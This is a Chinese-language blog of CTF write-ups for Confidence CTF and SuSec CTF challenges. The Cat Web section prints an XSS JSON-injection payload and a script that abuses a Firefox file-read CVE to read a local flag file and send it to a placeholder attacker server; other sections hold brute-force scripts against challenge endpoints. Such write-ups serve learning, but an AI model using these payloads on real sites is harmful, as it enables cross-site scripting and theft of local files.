本篇博客主要介绍了自己闲来无事在ctf-time做题的记录!

Confidence CTF

web

Cat Web

题目地址:http://catweb.zajebistyc.tf/

查看源代码,发现可以找到flag的位置

源代码发现有report功能,尝试给个url发现会访问

Firefox/67.0这个信息给很重要,这题考察的就是FireFox的一个cve

CVE-2019-11730,POC地址:https://github.com/alidnf/CVE-2019-11730

利用这个漏洞我们可以任意文件读取,先看下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<script>
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
});
});

}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
</script>

当我们切换猫的颜色的时候就会像服务端发送请求获得图片的名称

如果我们搜索灰猫,则图像的路径为static/grey/1.jpg,因此kind(grey)是文件夹,所有我们前面的目录遍历才成立

当我们不设颜色参数时,就会截取?后面的东西作为kind,如果为空则kind为black,我们第一次打开就是black

1
2
3
4
5
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}

切换颜色请求的是

1
http://catweb.zajebistyc.tf/cats?kind=

返回的结果都会被嵌入到网页中

1
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

试着弹个框

1
/?","content":["\"><script>alert(1)</script>"],"status":"ok","a":"

分析一下,可以看到这里遍历了content的内容

看下注入后的源码,发现

1
<script>alert(1)</script>

从里面逃逸出来了,这是因为我们用\">将前面闭合了

因此我们可以构造如下payload进行json注入:

1
", "content": ["\"><script src='https://youvps.com/xss.js'></script>"], "status": "ok", "a": "

交给服务端,xss.js写的是,利用的就是那个CVE

1
fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = 'https://yourvps/?a=' + (btoa(response) || 'No Value')});

额案后我们向服务端report,得到flag

1
file:///app/templates/index.html?", "content": ["\"><script src='http://yourvps/xss.js'></script>"], "status": "ok", "a": "

misc

Hidden Flag

题目提示flag类似于p4{letters_digits_and_special_characters}

打开题目搜了搜发现是Yara

参考:https://bbs.pediy.com/thread-226011.htm

因此我们可以构造下面的

1
2
3
4
5
6
7
8
rule GambitWildcard
{
strings:
$hex_string = { 70 34 7B }

condition:
$hex_string
}

发现匹配到flag了,因此我们可以尝试爆破flag,自己写的烂exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import string
import re
import threading
url1="http://hidden.zajebistyc.tf/api/query/medium"
url2="http://hidden.zajebistyc.tf/api/matches/{}?offset=0&limit=50"
proxies={'https':'https://127.0.0.1:8080','http':'http://127.0.0.1:8080'}
tr=string.ascii_letters+string.digits+string.punctuation
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0",
"Accept": "application/json, text/plain, */*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/json;charset=utf-8",
"Origin": "https://hidden.zajebistyc.tf",
"Connection": "close",
"Cookie": "__cfduid=ddf850d29ca9e31ba29e0e9bf15986bd01584235270"
}
flag="p4{ind3x1ng-l3ak5}"
# data=r'''{"raw_yara\":\"rule ASCIIFatTony\\n\{\\n strings:\\n $a = \{{}\}\\n \\n condition:\\n \$a\\n\}\",\"method\":\"query\"}'''
def getflag(s,flag):
key=''
try:
s1=' '+hex(ord(s)).replace("0x",'')
data1 = '''{"raw_yara":"rule ASCIIFatTony\\n{\\n strings:\\n $a = {70 34 7b 69 6e 64 33 78 31 6e 67 2d 6c 33 61 6b 35'''+s1+'''}\\n \\n condition:\\n $a\\n}","method":"query"}'''
# print(data1)
r=requests.post(url1,data=data1,headers=headers,proxies=proxies)
key=re.match(r"\{\"query_hash\":\"(.+)\"\}",r.text).group(1)
except Exception as e:
pass
try:
url3=url2.format(key)
r=requests.get(url3,headers=headers,proxies=proxies)
if "/opt/bin/getflag" in r.text:
print("[+] find!!!")
flag=flag+s
print(s+" "+hex(ord(s)).replace("0x",''))
except Exception as e:
pass
for i in tr:
threading.Thread(target=getflag,args=(i,flag,)).start()

SuSec CTF

misc

Secure note

题目的意思是我们可以curl的放式来完成请求

我们找到admin用户,查看他的note

发现好像是有规律的,第一时间想到了爆破

我们可以构造

1
Xkva{1}{2}rqXd6tZvr{3}

1位置应该在w-4之间,3位置在H-T之间,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string
from concurrent.futures import ThreadPoolExecutor

proxies = {
"http": "http://127.0.0.1:8080",
}

def req(url):
print(url)
try:
r=requests.get(url)
if r.status_code==200:
print(r.text)
exit(0)
except Exception as e:
pass

url="http://69.90.132.70:1339/paste/Xkva{}{}rqXd6tZvr{}"
tr=string.digits+string.ascii_letters
li=[]
for i in '01234':
for j in tr:
for k in 'IJKLMNOPQRST':
li.append(url.format(i,j,k))
p = ThreadPoolExecutor(3)
for u in li:
p.submit(req,u)

最后跑出来是

1
Xkva2arqXd6tZvrP

Little

这题差点就弄出来了

binwalk 分离出 secondf.png 和 0.ext,得到tO_7h3_3nd_Of_:

img

little.img 文件用 DiskGenius 打开得到 FIRSTF.KGB

img

再用 KGB Archiver 提取 FIRSTF.KGB 得到 firstf.ogg,播放声音是 c0me_wi4h_f4t_m4n_

flag应该还有一段

用Autopsy查看以下删除的数据,新建一个实例

选择工作目录,随意选择就行,下一步,然后完成

Add Data Source添加little.img,选择Unallocated Space Image File

然后下一步下一步,完成就行,看到MP4右键导出

播放发现第三段

拼接到一起就是

1
SUSEC{c0me_wi4h_f4t_m4n_t0_7h3_3nd_0f_t4i3_sUsEc_journey}

参考:

http://www.gtfly.top/2020/03/16/2020-ConfidenceCTF-wp/

评论